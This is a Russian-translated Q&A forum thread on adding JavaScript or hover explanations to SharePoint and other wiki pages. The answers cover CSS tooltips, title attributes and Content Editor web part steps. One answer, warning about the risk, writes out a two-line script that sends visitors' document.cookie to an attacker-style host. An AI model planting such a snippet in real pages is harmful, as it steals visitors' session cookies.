Как я могу, как администратор вики, вводить скрипты (Javascript) на вики-страницу Sharepoint?
Я хотел бы ввести заголовок и, нажав на него, отобразить под ним небольшое пояснение. Я обычно делал это с помощью javascript, есть еще идеи?
Это все меняет. Обновите свой вопрос и укажите свою вики-платформу.
Вы также можете пометить этот тег как "html"



![Безумие обратных вызовов в javascript [JS]](https://i.imgur.com/WsjO6zJb.png)


Звучит как угроза безопасности. Кажется, что администратор вики может установить скрипты, см. пользовательские скрипты википедии.
Вы не должны иметь возможность добавлять код javascript для какой-либо общедоступной вики. Если вы размещаете его самостоятельно, вам нужно запросить конкретную вики-систему, чтобы кто-то мог помочь вам изменить настройки - если это вообще возможно для этой системы.
Если вы говорите об использовании Javascript как части веб-страницы на этом сайте, вы не можете. Или любая другая общедоступная вики, если на то пошло - это угроза безопасности.
Если вы говорите о публикации образца кода, нажмите кнопку «101010» над текстовым полем.
Конечно, это будет зависеть от движка вики, с которым вы разговариваете. Однако, скорее всего, как говорит sblundy, бесплатное использование javascript на вики-странице было бы угрозой безопасности.
Это полностью зависит от конкретного программного обеспечения Wiki, которое вы используете. Как я видел, как работать, это разместить файл js в другом месте, а затем включить его в тег скрипта с атрибутом src.
Если они не позволяют этого, возможно, они разрешают IFRAME, который вы можете установить для страницы, содержащей сценарий. Используя второй метод, вам не будет разрешен доступ к DOM главной страницы.
Добавьте title = "text here" к любому тегу, и он должен отображать текст при наведении на него.
Internet Explorer показывает текст при использовании атрибута alt = "text here", хотя это не соответствует стандартам.
Я тестировал сейчас, и вы можете добавить <h2 title = "some explanation here">headline</h2> в любую систему на основе Викимедиа (та, которую использует Википедия).
Если авторы вики мудры, вероятно, нет никакого способа сделать это.
Проблема с пользовательским JavaScript заключается в том, что он открывает дверь для всех форм злоумышленников, чтобы получить данные у ничего не подозревающих.
Предположим, зло-я размещает сценарий на общедоступном веб-сайте:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Теперь я буду получать информацию cookie каждого посетителя страницы, размещенную в журнале на моем сервере. И это только верхушка айсберга.
Предполагая, что вы являетесь администратором вики и готовы отображать это при наведении курсора мыши, а не при щелчке, вам вообще не нужен javascript - вы можете использовать простой CSS. Вот пример стилей и разметки:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type = "text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
С некоторыми более сложными стилями ваша всплывающая подсказка может выглядеть так красиво, как вы хотите.
Мне нравится ответ CSS. Когда вы можете использовать CSS вместо Javascript, это упрощает разметку. Еще одна вещь, на которую стоит обратить внимание, - это Community Kit для SharePoint Enhanced Wiki Edition на Codeplex. Вы можете скачать исходный код и добавить свои собственные функции. Или вы можете предложить это как новую функцию на форуме.
На ленте выберите Insert и выберите Web Part. В меню перейдите к Media and Content и выберите Content Editor. В раскрывающемся меню только что созданной веб-части выберите Edit Web Part. В правом меню настроек веб-части разверните Appearance и установите Chrome Type на None. Щелкните Click Here to Add Content в веб-части и найдите Edit HTML Source на ленте. Вы можете использовать HTML в этой области без очистки.
Примечание. Если вы планируете добавлять поведение к большому количеству элементов страницы, вы можете загрузить файлы .js в библиотеку стилей и включить только тег <script src = "..."> в редактор содержимого. Вы также можете изучить возможность использования настраиваемого шаблона или макета страницы.
Источник: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages
Я понимаю, что это XY проблема, но, поскольку этот вопрос является первым результатом для «javascript sharepoint на вики-странице», я решил ответить Y.
Вы администратор вики-сайта или не только пользователь?